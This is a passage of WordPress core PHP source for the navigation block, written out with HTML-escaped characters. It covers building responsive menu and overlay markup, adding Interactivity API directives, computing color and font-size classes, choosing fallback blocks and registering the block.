			&#039;;
			$responsive_dialog_directives            = &#039;
				data-wp-bind--aria-modal=&quot;state.ariaModal&quot;
				data-wp-bind--aria-label=&quot;state.ariaLabel&quot;
				data-wp-bind--role=&quot;state.roleAttribute&quot;
			&#039;;
			$close_button_directives                 = &#039;
				data-wp-on--click=&quot;actions.closeMenuOnClick&quot;
			&#039;;
			$responsive_container_content_directives = &#039;
				data-wp-watch=&quot;callbacks.focusFirstElement&quot;
			&#039;;
		}

		// Don&#039;t apply overlay inline styles if using a custom overlay template part.
		// The custom overlay is responsible for its own styling.
		$overlay_inline_styles = static::get_overlay_inline_styles( $has_custom_overlay, $colors );

		if ( $has_custom_overlay ) {
			$custom_overlay_markup = sprintf(
				&#039;&lt;div class=&quot;wp-block-navigation__overlay-container&quot;&gt;%s&lt;/div&gt;&#039;,
				$overlay_blocks_html
			);
		}

		// Show default close button for all responsive navigation,
		// unless custom overlay has its own close block.
		if ( ! $has_custom_overlay_close_block ) {
			$close_button_markup = sprintf(
				&#039;&lt;button %1$s class=&quot;wp-block-navigation__responsive-container-close&quot; %2$s&gt;%3$s&lt;/button&gt;&#039;,
				$toggle_aria_label_close,
				$close_button_directives,
				$toggle_close_button_content
			);
		}

		return sprintf(
			&#039;&lt;button aria-haspopup=&quot;dialog&quot; %3$s class=&quot;%6$s&quot; %10$s&gt;%8$s&lt;/button&gt;
				&lt;div class=&quot;%5$s&quot; %7$s id=&quot;%1$s&quot; %11$s&gt;
					&lt;div class=&quot;wp-block-navigation__responsive-close&quot; tabindex=&quot;-1&quot;&gt;
						&lt;div class=&quot;wp-block-navigation__responsive-dialog&quot; %12$s&gt;
							%13$s
							&lt;div class=&quot;wp-block-navigation__responsive-container-content&quot; %14$s id=&quot;%1$s-content&quot;&gt;
								%2$s
								%15$s
							&lt;/div&gt;
						&lt;/div&gt;
					&lt;/div&gt;
				&lt;/div&gt;&#039;,
			esc_attr( $modal_unique_id ),
			$inner_blocks_html,
			$toggle_aria_label_open,
			$toggle_aria_label_close,
			esc_attr( trim( implode( &#039; &#039;, $responsive_container_classes ) ) ),
			esc_attr( trim( implode( &#039; &#039;, $open_button_classes ) ) ),
			$overlay_inline_styles,
			$toggle_button_content,
			$toggle_close_button_content,
			$open_button_directives,
			$responsive_container_directives,
			$responsive_dialog_directives,
			$close_button_markup,
			$responsive_container_content_directives,
			$has_custom_overlay ? $custom_overlay_markup : &#039;&#039;
		);
	}

	/**
	 * Get the wrapper attributes
	 *
	 * @since 6.5.0
	 *
	 * @param array         $attributes    The block attributes.
	 * @param WP_Block_List $inner_blocks  A list of inner blocks.
	 * @return string Returns the navigation block markup.
	 */
	private static function get_nav_attributes( $attributes, $inner_blocks ) {
		$is_interactive     = static::is_interactive( $attributes, $inner_blocks );
		$is_responsive_menu = static::is_responsive( $attributes );
		$style              = static::get_styles( $attributes );
		$class              = static::get_classes( $attributes );
		$extra_attributes   = array(
			&#039;class&#039; =&gt; $class,
			&#039;style&#039; =&gt; $style,
		);
		// Only add aria-label for top-level navigation blocks.
		// Skip navigation blocks marked as being within overlay template parts.
		$is_within_overlay = $attributes[&#039;_isWithinOverlayTemplatePart&#039;] ?? false;
		if ( $is_within_overlay ) {
			$nav_menu_name = static::get_navigation_name( $attributes );
		} else {
			$nav_menu_name = static::get_unique_navigation_name( $attributes );
		}

		if ( ! empty( $nav_menu_name ) ) {
			$extra_attributes[&#039;aria-label&#039;] = $nav_menu_name;
		}
		$wrapper_attributes = get_block_wrapper_attributes( $extra_attributes );

		if ( $is_responsive_menu ) {
			$nav_element_directives = static::get_nav_element_directives( $is_interactive );
			$wrapper_attributes    .= &#039; &#039; . $nav_element_directives;
		}

		return $wrapper_attributes;
	}

	/**
	 * Gets the nav element directives.
	 *
	 * @since 6.5.0
	 *
	 * @param bool $is_interactive Whether the block is interactive.
	 * @return string the directives for the navigation element.
	 */
	private static function get_nav_element_directives( $is_interactive ) {
		if ( ! $is_interactive ) {
			return &#039;&#039;;
		}
		// When adding to this array be mindful of security concerns.
		$nav_element_context    = wp_interactivity_data_wp_context(
			array(
				&#039;overlayOpenedBy&#039; =&gt; array(
					&#039;click&#039; =&gt; false,
					&#039;hover&#039; =&gt; false,
					&#039;focus&#039; =&gt; false,
				),
				&#039;type&#039;            =&gt; &#039;overlay&#039;,
				&#039;roleAttribute&#039;   =&gt; &#039;&#039;,
				&#039;ariaLabel&#039;       =&gt; __( &#039;Menu&#039; ),
			)
		);
		$nav_element_directives = &#039;
		 data-wp-interactive=&quot;core/navigation&quot; &#039;
		. $nav_element_context;

		return $nav_element_directives;
	}

	/**
	 * Handle view script module loading.
	 *
	 * @since 6.5.0
	 *
	 * @param array         $attributes   The block attributes.
	 * @param WP_Block      $block        The parsed block.
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 */
	private static function handle_view_script_module_loading( $attributes, $block, $inner_blocks ) {
		if ( static::is_interactive( $attributes, $inner_blocks ) ) {
			wp_enqueue_script_module( &#039;@wordpress/block-library/navigation/view&#039; );
		}
	}

	/**
	 * Returns the markup for the navigation block.
	 *
	 * @since 6.5.0
	 *
	 * @param array         $attributes The block attributes.
	 * @param WP_Block_List $inner_blocks The list of inner blocks.
	 * @return string Returns the navigation wrapper markup.
	 */
	private static function get_inner_block_markup( $attributes, $inner_blocks ) {
		$inner_blocks_html = static::get_inner_blocks_html( $attributes, $inner_blocks );
		if ( static::is_responsive( $attributes ) ) {
			return static::get_responsive_container_markup( $attributes, $inner_blocks, $inner_blocks_html );
		}
		return $inner_blocks_html;
	}

	/**
	 * Returns a unique name for the navigation.
	 *
	 * @since 6.5.0
	 *
	 * @param array $attributes The block attributes.
	 * @return string Returns a unique name for the navigation.
	 */
	private static function get_unique_navigation_name( $attributes ) {
		$nav_menu_name = static::get_navigation_name( $attributes );

		// This is used to count the number of times a navigation name has been seen,
		// so that we can ensure every navigation has a unique id.
		if ( isset( static::$seen_menu_names[ $nav_menu_name ] ) ) {
			++static::$seen_menu_names[ $nav_menu_name ];
		} else {
			static::$seen_menu_names[ $nav_menu_name ] = 1;
		}

		// If the menu name has been used previously then append an ID
		// to the name to ensure uniqueness across a given post.
		if ( isset( static::$seen_menu_names[ $nav_menu_name ] ) &amp;&amp; static::$seen_menu_names[ $nav_menu_name ] &gt; 1 ) {
			$count         = static::$seen_menu_names[ $nav_menu_name ];
			$nav_menu_name = $nav_menu_name . &#039; &#039; . ( $count );
		}

		return $nav_menu_name;
	}

	/**
	 * Renders the navigation block.
	 *
	 * @since 6.5.0
	 *
	 * @param array    $attributes The block attributes.
	 * @param string   $content    The saved content.
	 * @param WP_Block $block      The parsed block.
	 * @return string Returns the navigation block markup.
	 */
	public static function render( $attributes, $content, $block ) {
		/**
		 * Deprecated:
		 * The rgbTextColor and rgbBackgroundColor attributes
		 * have been deprecated in favor of
		 * customTextColor and customBackgroundColor ones.
		 * Move the values from old attrs to the new ones.
		 */
		if ( isset( $attributes[&#039;rgbTextColor&#039;] ) &amp;&amp; empty( $attributes[&#039;textColor&#039;] ) ) {
			$attributes[&#039;customTextColor&#039;] = $attributes[&#039;rgbTextColor&#039;];
		}

		if ( isset( $attributes[&#039;rgbBackgroundColor&#039;] ) &amp;&amp; empty( $attributes[&#039;backgroundColor&#039;] ) ) {
			$attributes[&#039;customBackgroundColor&#039;] = $attributes[&#039;rgbBackgroundColor&#039;];
		}

		unset( $attributes[&#039;rgbTextColor&#039;], $attributes[&#039;rgbBackgroundColor&#039;] );

		$inner_blocks = static::get_inner_blocks( $attributes, $block );
		// Prevent navigation blocks referencing themselves from rendering.
		if ( block_core_navigation_block_tree_has_block_type(
			$inner_blocks,
			&#039;core/navigation&#039;
		) ) {
			return &#039;&#039;;
		}

		static::handle_view_script_module_loading( $attributes, $block, $inner_blocks );

		// Use div wrapper if this navigation block is within an overlay template part.
		$is_within_overlay = $attributes[&#039;_isWithinOverlayTemplatePart&#039;] ?? false;
		$tag_name          = $is_within_overlay ? &#039;div&#039; : &#039;nav&#039;;

		return sprintf(
			&#039;&lt;%1$s %2$s&gt;%3$s&lt;/%1$s&gt;&#039;,
			$tag_name,
			static::get_nav_attributes( $attributes, $inner_blocks ),
			static::get_inner_block_markup( $attributes, $inner_blocks )
		);
	}
}

// These functions are used for the __unstableLocation feature and only active
// when the gutenberg plugin is active.
if ( defined( &#039;IS_GUTENBERG_PLUGIN&#039; ) &amp;&amp; IS_GUTENBERG_PLUGIN ) {
	/**
	 * Returns the menu items for a WordPress menu location.
	 *
	 * @since 5.9.0
	 *
	 * @param string $location The menu location.
	 * @return array Menu items for the location.
	 */
	function block_core_navigation_get_menu_items_at_location( $location ) {
		if ( empty( $location ) ) {
			return;
		}

		// Build menu data. The following approximates the code in
		// `wp_nav_menu()` and `gutenberg_output_block_nav_menu`.

		// Find the location in the list of locations, returning early if the
		// location can&#039;t be found.
		$locations = get_nav_menu_locations();
		if ( ! isset( $locations[ $location ] ) ) {
			return;
		}

		// Get the menu from the location, returning early if there is no
		// menu or there was an error.
		$menu = wp_get_nav_menu_object( $locations[ $location ] );
		if ( ! $menu || is_wp_error( $menu ) ) {
			return;
		}

		$menu_items = wp_get_nav_menu_items( $menu-&gt;term_id, array( &#039;update_post_term_cache&#039; =&gt; false ) );
		_wp_menu_item_classes_by_context( $menu_items );

		return $menu_items;
	}


	/**
	 * Sorts a standard array of menu items into a nested structure keyed by the
	 * id of the parent menu.
	 *
	 * @since 5.9.0
	 *
	 * @param array $menu_items Menu items to sort.
	 * @return array An array keyed by the id of the parent menu where each element
	 *               is an array of menu items that belong to that parent.
	 */
	function block_core_navigation_sort_menu_items_by_parent_id( $menu_items ) {
		$sorted_menu_items = array();
		foreach ( (array) $menu_items as $menu_item ) {
			$sorted_menu_items[ $menu_item-&gt;menu_order ] = $menu_item;
		}
		unset( $menu_items, $menu_item );

		$menu_items_by_parent_id = array();
		foreach ( $sorted_menu_items as $menu_item ) {
			$menu_items_by_parent_id[ $menu_item-&gt;menu_item_parent ][] = $menu_item;
		}

		return $menu_items_by_parent_id;
	}

	/**
	 * Gets the inner blocks for the navigation block from the unstable location attribute.
	 *
	 * @since 6.5.0
	 *
	 * @param array $attributes The block attributes.
	 * @return WP_Block_List Returns the inner blocks for the navigation block.
	 */
	function block_core_navigation_get_inner_blocks_from_unstable_location( $attributes ) {
		$menu_items = block_core_navigation_get_menu_items_at_location( $attributes[&#039;__unstableLocation&#039;] );
		if ( empty( $menu_items ) ) {
			return new WP_Block_List( array(), $attributes );
		}

		$menu_items_by_parent_id = block_core_navigation_sort_menu_items_by_parent_id( $menu_items );
		$parsed_blocks           = block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[0], $menu_items_by_parent_id );
		return new WP_Block_List( $parsed_blocks, $attributes );
	}
}

/**
 * Checks if the overlay HTML contains a navigation-overlay-close block.
 *
 * Uses WP_HTML_Tag_Processor to detect the close button in rendered output,
 * so it works when the overlay uses patterns (pattern content is rendered at
 * output time, not in the block tree).
 *
 * @since 7.0.0
 *
 * @param string $html The rendered overlay HTML.
 * @return bool True if a close button element is found.
 */
function block_core_navigation_overlay_html_has_close_block( $html ) {
	$tags = new WP_HTML_Tag_Processor( $html );
	return $tags-&gt;next_tag(
		array(
			&#039;tag_name&#039;   =&gt; &#039;BUTTON&#039;,
			&#039;class_name&#039; =&gt; &#039;wp-block-navigation-overlay-close&#039;,
		)
	);
}

/**
 * Add Interactivity API directives to the navigation-overlay-close block
 * markup using the Tag Processor.
 *
 * @since 6.5.0
 *
 * @param WP_HTML_Tag_Processor $tags Markup of the navigation block.
 * @return string Overlay close markup with the directives injected.
 */
function block_core_navigation_add_directives_to_overlay_close( $tags ) {
	// Find all navigation-overlay-close buttons.
	while ( $tags-&gt;next_tag(
		array(
			&#039;tag_name&#039;   =&gt; &#039;BUTTON&#039;,
			&#039;class_name&#039; =&gt; &#039;wp-block-navigation-overlay-close&#039;,
		)
	) ) {
		// Add the same close directive as the default close button.
		$tags-&gt;set_attribute( &#039;data-wp-on--click&#039;, &#039;actions.closeMenuOnClick&#039; );
	}
	return $tags-&gt;get_updated_html();
}

/**
 * Sets fetchpriority=&quot;low&quot; on all IMG tags within the navigation overlay.
 *
 * Images in the overlay are hidden until the menu is opened, so they should
 * not compete with any actual LCP element image on the page.
 *
 * @since 7.0.0
 *
 * @param string $overlay_blocks_html The rendered HTML of the overlay blocks.
 * @return string Modified HTML with fetchpriority=&quot;low&quot; on all IMG tags.
 */
function block_core_navigation_set_overlay_image_fetch_priority( string $overlay_blocks_html ): string {
	$tags = new WP_HTML_Tag_Processor( $overlay_blocks_html );
	while ( $tags-&gt;next_tag( &#039;IMG&#039; ) ) {
		$tags-&gt;set_attribute( &#039;fetchpriority&#039;, &#039;low&#039; );
	}
	return $tags-&gt;get_updated_html();
}

/**
 * Add Interactivity API directives to the navigation-submenu and page-list
 * blocks markup using the Tag Processor.
 *
 * @since 6.3.0
 *
 * @param WP_HTML_Tag_Processor $tags             Markup of the navigation block.
 * @param array                 $block_attributes Block attributes.
 *
 * @return string Submenu markup with the directives injected.
 */
function block_core_navigation_add_directives_to_submenu( $tags, $block_attributes ) {
	while ( $tags-&gt;next_tag(
		array(
			&#039;tag_name&#039;   =&gt; &#039;LI&#039;,
			&#039;class_name&#039; =&gt; &#039;has-child&#039;,
		)
	) ) {
		// Add directives to the parent `&lt;li&gt;`.
		$tags-&gt;set_attribute( &#039;data-wp-interactive&#039;, &#039;core/navigation&#039; );
		$tags-&gt;set_attribute( &#039;data-wp-context&#039;, &#039;{ &quot;submenuOpenedBy&quot;: { &quot;click&quot;: false, &quot;hover&quot;: false, &quot;focus&quot;: false }, &quot;type&quot;: &quot;submenu&quot;, &quot;modal&quot;: null, &quot;previousFocus&quot;: null }&#039; );
		$tags-&gt;set_attribute( &#039;data-wp-watch&#039;, &#039;callbacks.initMenu&#039; );
		$tags-&gt;set_attribute( &#039;data-wp-on--focusout&#039;, &#039;actions.handleMenuFocusout&#039; );
		$tags-&gt;set_attribute( &#039;data-wp-on--keydown&#039;, &#039;actions.handleMenuKeydown&#039; );

		// This is a fix for Safari. Without it, Safari doesn&#039;t change the active
		// element when the user clicks on a button. It can be removed once we add
		// an overlay to capture the clicks, instead of relying on the focusout
		// event.
		$tags-&gt;set_attribute( &#039;tabindex&#039;, &#039;-1&#039; );

		$computed_visibility = block_core_navigation_get_submenu_visibility( $block_attributes );
		$open_on_hover       = &#039;hover&#039; === $computed_visibility;

		if ( $open_on_hover ) {
			$tags-&gt;set_attribute( &#039;data-wp-on--pointerenter&#039;, &#039;actions.openMenuOnHover&#039; );
			$tags-&gt;set_attribute( &#039;data-wp-on--pointerleave&#039;, &#039;actions.closeMenuOnHover&#039; );
		}

		// Add directives to the toggle submenu button.
		if ( $tags-&gt;next_tag(
			array(
				&#039;tag_name&#039;   =&gt; &#039;BUTTON&#039;,
				&#039;class_name&#039; =&gt; &#039;wp-block-navigation-submenu__toggle&#039;,
			)
		) ) {
			$tags-&gt;set_attribute( &#039;data-wp-on--click&#039;, &#039;actions.toggleMenuOnClick&#039; );
			$tags-&gt;set_attribute( &#039;data-wp-bind--aria-expanded&#039;, &#039;state.isMenuOpen&#039; );
			// The `aria-expanded` attribute for SSR is already added in the submenu block.
		}
		// Add directives to the submenu.
		if ( $tags-&gt;next_tag(
			array(
				&#039;tag_name&#039;   =&gt; &#039;UL&#039;,
				&#039;class_name&#039; =&gt; &#039;wp-block-navigation__submenu-container&#039;,
			)
		) ) {
			$tags-&gt;set_attribute( &#039;data-wp-on--focus&#039;, &#039;actions.openMenuOnFocus&#039; );
		}

		// Iterate through subitems if exist.
		block_core_navigation_add_directives_to_submenu( $tags, $block_attributes );
	}
	return $tags-&gt;get_updated_html();
}

/**
 * Build an array with CSS classes and inline styles defining the colors
 * which will be applied to the navigation markup in the front-end.
 *
 * @since 5.9.0
 *
 * @param array $attributes Navigation block attributes.
 *
 * @return array Colors CSS classes and inline styles.
 */
function block_core_navigation_build_css_colors( $attributes ) {
	$colors = array(
		&#039;css_classes&#039;           =&gt; array(),
		&#039;inline_styles&#039;         =&gt; &#039;&#039;,
		&#039;overlay_css_classes&#039;   =&gt; array(),
		&#039;overlay_inline_styles&#039; =&gt; &#039;&#039;,
	);

	// Text color.
	$has_named_text_color  = array_key_exists( &#039;textColor&#039;, $attributes );
	$has_custom_text_color = array_key_exists( &#039;customTextColor&#039;, $attributes );

	// If has text color.
	if ( $has_custom_text_color || $has_named_text_color ) {
		// Add has-text-color class.
		$colors[&#039;css_classes&#039;][] = &#039;has-text-color&#039;;
	}

	if ( $has_named_text_color ) {
		// Add the color class.
		$colors[&#039;css_classes&#039;][] = sprintf( &#039;has-%s-color&#039;, $attributes[&#039;textColor&#039;] );
	} elseif ( $has_custom_text_color ) {
		// Add the custom color inline style.
		$colors[&#039;inline_styles&#039;] .= sprintf( &#039;color: %s;&#039;, $attributes[&#039;customTextColor&#039;] );
	}

	// Background color.
	$has_named_background_color  = array_key_exists( &#039;backgroundColor&#039;, $attributes );
	$has_custom_background_color = array_key_exists( &#039;customBackgroundColor&#039;, $attributes );

	// If has background color.
	if ( $has_custom_background_color || $has_named_background_color ) {
		// Add has-background class.
		$colors[&#039;css_classes&#039;][] = &#039;has-background&#039;;
	}

	if ( $has_named_background_color ) {
		// Add the background-color class.
		$colors[&#039;css_classes&#039;][] = sprintf( &#039;has-%s-background-color&#039;, $attributes[&#039;backgroundColor&#039;] );
	} elseif ( $has_custom_background_color ) {
		// Add the custom background-color inline style.
		$colors[&#039;inline_styles&#039;] .= sprintf( &#039;background-color: %s;&#039;, $attributes[&#039;customBackgroundColor&#039;] );
	}

	// Overlay text color.
	$has_named_overlay_text_color  = array_key_exists( &#039;overlayTextColor&#039;, $attributes );
	$has_custom_overlay_text_color = array_key_exists( &#039;customOverlayTextColor&#039;, $attributes );

	// If has overlay text color.
	if ( $has_custom_overlay_text_color || $has_named_overlay_text_color ) {
		// Add has-text-color class.
		$colors[&#039;overlay_css_classes&#039;][] = &#039;has-text-color&#039;;
	}

	if ( $has_named_overlay_text_color ) {
		// Add the overlay color class.
		$colors[&#039;overlay_css_classes&#039;][] = sprintf( &#039;has-%s-color&#039;, $attributes[&#039;overlayTextColor&#039;] );
	} elseif ( $has_custom_overlay_text_color ) {
		// Add the custom overlay color inline style.
		$colors[&#039;overlay_inline_styles&#039;] .= sprintf( &#039;color: %s;&#039;, $attributes[&#039;customOverlayTextColor&#039;] );
	}

	// Overlay background color.
	$has_named_overlay_background_color  = array_key_exists( &#039;overlayBackgroundColor&#039;, $attributes );
	$has_custom_overlay_background_color = array_key_exists( &#039;customOverlayBackgroundColor&#039;, $attributes );

	// If has overlay background color.
	if ( $has_custom_overlay_background_color || $has_named_overlay_background_color ) {
		// Add has-background class.
		$colors[&#039;overlay_css_classes&#039;][] = &#039;has-background&#039;;
	}

	if ( $has_named_overlay_background_color ) {
		// Add the overlay background-color class.
		$colors[&#039;overlay_css_classes&#039;][] = sprintf( &#039;has-%s-background-color&#039;, $attributes[&#039;overlayBackgroundColor&#039;] );
	} elseif ( $has_custom_overlay_background_color ) {
		// Add the custom overlay background-color inline style.
		$colors[&#039;overlay_inline_styles&#039;] .= sprintf( &#039;background-color: %s;&#039;, $attributes[&#039;customOverlayBackgroundColor&#039;] );
	}

	return $colors;
}

/**
 * Build an array with CSS classes and inline styles defining the font sizes
 * which will be applied to the navigation markup in the front-end.
 *
 * @since 5.9.0
 *
 * @param array $attributes Navigation block attributes.
 *
 * @return array Font size CSS classes and inline styles.
 */
function block_core_navigation_build_css_font_sizes( $attributes ) {
	// CSS classes.
	$font_sizes = array(
		&#039;css_classes&#039;   =&gt; array(),
		&#039;inline_styles&#039; =&gt; &#039;&#039;,
	);

	$has_named_font_size  = array_key_exists( &#039;fontSize&#039;, $attributes );
	$has_custom_font_size = array_key_exists( &#039;customFontSize&#039;, $attributes );

	if ( $has_named_font_size ) {
		// Add the font size class.
		$font_sizes[&#039;css_classes&#039;][] = sprintf( &#039;has-%s-font-size&#039;, $attributes[&#039;fontSize&#039;] );
	} elseif ( $has_custom_font_size ) {
		// Add the custom font size inline style.
		$font_sizes[&#039;inline_styles&#039;] = sprintf( &#039;font-size: %spx;&#039;, $attributes[&#039;customFontSize&#039;] );
	}

	return $font_sizes;
}

/**
 * Returns the top-level submenu SVG chevron icon.
 *
 * @since 5.9.0
 *
 * @return string
 */
function block_core_navigation_render_submenu_icon() {
	return &#039;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;12&quot; height=&quot;12&quot; viewBox=&quot;0 0 12 12&quot; fill=&quot;none&quot; aria-hidden=&quot;true&quot; focusable=&quot;false&quot;&gt;&lt;path d=&quot;M1.50002 4L6.00002 8L10.5 4&quot; stroke-width=&quot;1.5&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&#039;;
}

/**
 * Filter out empty &quot;null&quot; blocks from the block list.
 * &#039;parse_blocks&#039; includes a null block with &#039;\n\n&#039; as the content when
 * it encounters whitespace. This is not a bug but rather how the parser
 * is designed.
 *
 * @since 5.9.0
 *
 * @param array $parsed_blocks the parsed blocks to be normalized.
 * @return array the normalized parsed blocks.
 */
function block_core_navigation_filter_out_empty_blocks( $parsed_blocks ) {
	$filtered = array_filter(
		$parsed_blocks,
		static function ( $block ) {
			return isset( $block[&#039;blockName&#039;] );
		}
	);

	// Reset keys.
	return array_values( $filtered );
}

/**
 * Recursively checks if blocks contain a specific block type.
 *
 * @since 7.0.0
 *
 * @param WP_Block_List $blocks           The list of blocks to check.
 * @param string        $block_type       The block type to search for (e.g., &#039;core/navigation&#039;).
 * @param array         $skip_block_types Optional. Block types to skip when recursing. Default empty array.
 * @return bool Returns true if the specified block type is found.
 */
function block_core_navigation_block_tree_has_block_type( $blocks, $block_type, $skip_block_types = array() ) {
	if ( empty( $blocks ) ) {
		return false;
	}

	foreach ( $blocks as $block ) {
		if ( $block_type === $block-&gt;name ) {
			return true;
		}

		// Recursively check inner blocks, skipping specified block types.
		if ( ! in_array( $block-&gt;name, $skip_block_types, true ) &amp;&amp; ! empty( $block-&gt;inner_blocks ) ) {
			if ( block_core_navigation_block_tree_has_block_type( $block-&gt;inner_blocks, $block_type, $skip_block_types ) ) {
				return true;
			}
		}
	}

	return false;
}

/**
 * Returns true if the navigation block contains a nested navigation block.
 *
 * @since 6.2.0
 * @deprecated 7.0.0 Use block_core_navigation_block_tree_has_block_type() instead.
 *
 * @param WP_Block_List $inner_blocks Inner block instance to be normalized.
 * @return bool true if the navigation block contains a nested navigation block.
 */
function block_core_navigation_block_contains_core_navigation( $inner_blocks ) {
	_deprecated_function( __FUNCTION__, &#039;7.0.0&#039;, &#039;block_core_navigation_block_tree_has_block_type()&#039; );

	return block_core_navigation_block_tree_has_block_type(
		$inner_blocks,
		&#039;core/navigation&#039;
	);
}

/**
 * Retrieves the appropriate fallback to be used on the front of the
 * site when there is no menu assigned to the Nav block.
 *
 * This aims to mirror how the fallback mechanic for wp_nav_menu works.
 * See https://developer.wordpress.org/reference/functions/wp_nav_menu/#more-information.
 *
 * @since 5.9.0
 *
 * @return array the array of blocks to be used as a fallback.
 */
function block_core_navigation_get_fallback_blocks() {
	$page_list_fallback = array(
		array(
			&#039;blockName&#039;    =&gt; &#039;core/page-list&#039;,
			&#039;innerContent&#039; =&gt; array(),
			&#039;attrs&#039;        =&gt; array(),
		),
	);

	$registry = WP_Block_Type_Registry::get_instance();

	// If `core/page-list` is not registered then return empty blocks.
	$fallback_blocks = $registry-&gt;is_registered( &#039;core/page-list&#039; ) ? $page_list_fallback : array();
	$navigation_post = WP_Navigation_Fallback::get_fallback();

	// Use the first non-empty Navigation as fallback if available.
	if ( $navigation_post ) {
		$parsed_blocks  = parse_blocks( $navigation_post-&gt;post_content );
		$maybe_fallback = block_core_navigation_filter_out_empty_blocks( $parsed_blocks );

		// Normalizing blocks may result in an empty array of blocks if they were all `null` blocks.
		// In this case default to the (Page List) fallback.
		$fallback_blocks = ! empty( $maybe_fallback ) ? $maybe_fallback : $fallback_blocks;

		// Run Block Hooks algorithm to inject hooked blocks.
		// We have to run it here because we need the post ID of the Navigation block to track ignored hooked blocks.
		// TODO: See if we can move the apply_block_hooks_to_content_from_post_object() call
		// before the parse_blocks() call further above, to avoid the extra serialization/parsing.
		$markup          = serialize_blocks( $fallback_blocks );
		$markup          = apply_block_hooks_to_content_from_post_object( $markup, $navigation_post );
		$fallback_blocks = parse_blocks( $markup );
	}

	/**
	 * Filters the fallback experience for the Navigation block.
	 *
	 * Returning a falsey value will opt out of the fallback and cause the block not to render.
	 * To customise the blocks provided return an array of blocks - these should be valid
	 * children of the `core/navigation` block.
	 *
	 * @since 5.9.0
	 *
	 * @param array[] $fallback_blocks default fallback blocks provided by the default block mechanic.
	 */
	return apply_filters( &#039;block_core_navigation_render_fallback&#039;, $fallback_blocks );
}

/**
 * Iterate through all inner blocks recursively and get navigation link block&#039;s post IDs.
 *
 * @since 6.0.0
 *
 * @param WP_Block_List $inner_blocks Block list class instance.
 *
 * @return array Array of post IDs.
 */
function block_core_navigation_get_post_ids( $inner_blocks ) {
	$post_ids = array_map( &#039;block_core_navigation_from_block_get_post_ids&#039;, iterator_to_array( $inner_blocks ) );
	return array_unique( array_merge( ...$post_ids ) );
}

/**
 * Get post IDs from a navigation link block instance.
 *
 * @since 6.0.0
 *
 * @param WP_Block $block Instance of a block.
 *
 * @return array Array of post IDs.
 */
function block_core_navigation_from_block_get_post_ids( $block ) {
	$post_ids = array();

	if ( $block-&gt;inner_blocks ) {
		$post_ids = block_core_navigation_get_post_ids( $block-&gt;inner_blocks );
	}

	if ( &#039;core/navigation-link&#039; === $block-&gt;name || &#039;core/navigation-submenu&#039; === $block-&gt;name ) {
		if ( $block-&gt;attributes &amp;&amp; isset( $block-&gt;attributes[&#039;kind&#039;] ) &amp;&amp; &#039;post-type&#039; === $block-&gt;attributes[&#039;kind&#039;] &amp;&amp; isset( $block-&gt;attributes[&#039;id&#039;] ) ) {
			$post_ids[] = $block-&gt;attributes[&#039;id&#039;];
		}
	}

	return $post_ids;
}

/**
 * Renders the `core/navigation` block on server.
 *
 * @since 5.9.0
 *
 * @param array    $attributes The block attributes.
 * @param string   $content    The saved content.
 * @param WP_Block $block      The parsed block.
 *
 * @return string Returns the navigation block markup.
 */
function render_block_core_navigation( $attributes, $content, $block ) {
	return WP_Navigation_Block_Renderer::render( $attributes, $content, $block );
}

/**
 * Register the navigation block.
 *
 * @since 5.9.0
 *
 * @uses render_block_core_navigation()
 * @throws WP_Error An WP_Error exception parsing the block definition.
 */
function register_block_core_navigation() {
	register_block_type_from_metadata(
		__DIR__ . &#039;/navigation&#039;,
		array(
			&#039;render_callback&#039; =&gt; &#039;render_block_core_navigation&#039;,
		)
	);
}

add_action( &#039;init&#039;, &#039;register_block_core_navigation&#039; );

/**
 * Filter that changes the parsed attribute values of navigation blocks contain typographic presets to contain the values directly.
 *
 * @since 5.9.0
 *
 * @param array $parsed_block The block being rendered.
 *
 * @return array The block being rendered without typographic presets.
 */
function block_core_navigation_typographic_presets_backcompatibility( $parsed_block ) {
	if ( &#039;core/navigation&#039; === $parsed_block[&#039;blockName&#039;] ) {
		$attribute_to_prefix_map = array(
			&#039;fontStyle&#039;      =&gt; &#039;var:preset|font-style|&#039;,
			&#039;fontWeight&#039;     =&gt; &#039;var:preset|font-weight|&#039;,
			&#039;textDecoration&#039; =&gt; &#039;var:preset|text-decoration|&#039;,
			&#039;textTransform&#039;  =&gt; &#039;var:preset|text-transform|&#039;,
		);
		foreach ( $attribute_to_prefix_map as $style_attribute =&gt; $prefix ) {
			if ( ! empty( $parsed_block[&#039;attrs&#039;][&#039;style&#039;][&#039;typography&#039;][ $style_attribute ] ) ) {
				$prefix_len      = strlen( $prefix );
				$attribute_value = &amp;$parsed_block[&#039;attrs&#039;][&#039;style&#039;][&#039;typography&#039;][ $style_attribute ];
				if ( 0 === strncmp( $attribute_value, $prefix, $prefix_len ) ) {
					$attribute_value = substr( $attribute_value, $prefix_len );
				}
				if ( &#039;textDecoration&#039; === $style_attribute &amp;&amp; &#039;strikethrough&#039; === $attribute_value ) {
					$attribute_value = &#039;line-through&#039;;
				}
			}
		}
	}

	return $parsed_block;
}

add_filter( &#039;render_block_data&#039;, &#039;block_core_navigation_typographic_presets_backcompatibility&#039; );

/**
 * Turns menu item data into a nested array of parsed blocks
 *
 * @since 5.9.0
 *
 * @deprecated 6.3.0 Use WP_Navigation_Fallback::parse_blocks_from_menu_items() instead.
 *
 * @param array $menu_items               An array of menu items that represent
 *                                        an individual level of a menu.
 * @param array $menu_items_by_parent_id  An array keyed by the id of the
 *                                        parent menu where each element is an
 *                                        array of menu items that belong to
 *                                        that parent.
 * @return array An array of parsed block data.
 */
function block_core_navigation_parse_blocks_from_menu_items( $menu_items, $menu_items_by_parent_id ) {

	_deprecated_function( __FUNCTION__, &#039;6.3.0&#039;, &#039;WP_Navigation_Fallback::parse_blocks_from_menu_items&#039; );

	if ( empty( $menu_items ) ) {
		return array();
	}

	$blocks = array();

	foreach ( $menu_items as $menu_item ) {
		$class_name       = ! empty( $menu_item-&gt;classes ) ? implode( &#039; &#039;, (array) $menu_item-&gt;classes ) : null;
		$id               = ( null !== $menu_item-&gt;object_id &amp;&amp; &#039;custom&#039; !== $menu_item-&gt;object ) ? $menu_item-&gt;object_id : null;
		$opens_in_new_tab = null !== $menu_item-&gt;target &amp;&amp; &#039;_blank&#039; === $menu_item-&gt;target;
		$rel              = ( null !== $menu_item-&gt;xfn &amp;&amp; &#039;&#039; !== $menu_item-&gt;xfn ) ? $menu_item-&gt;xfn : null;
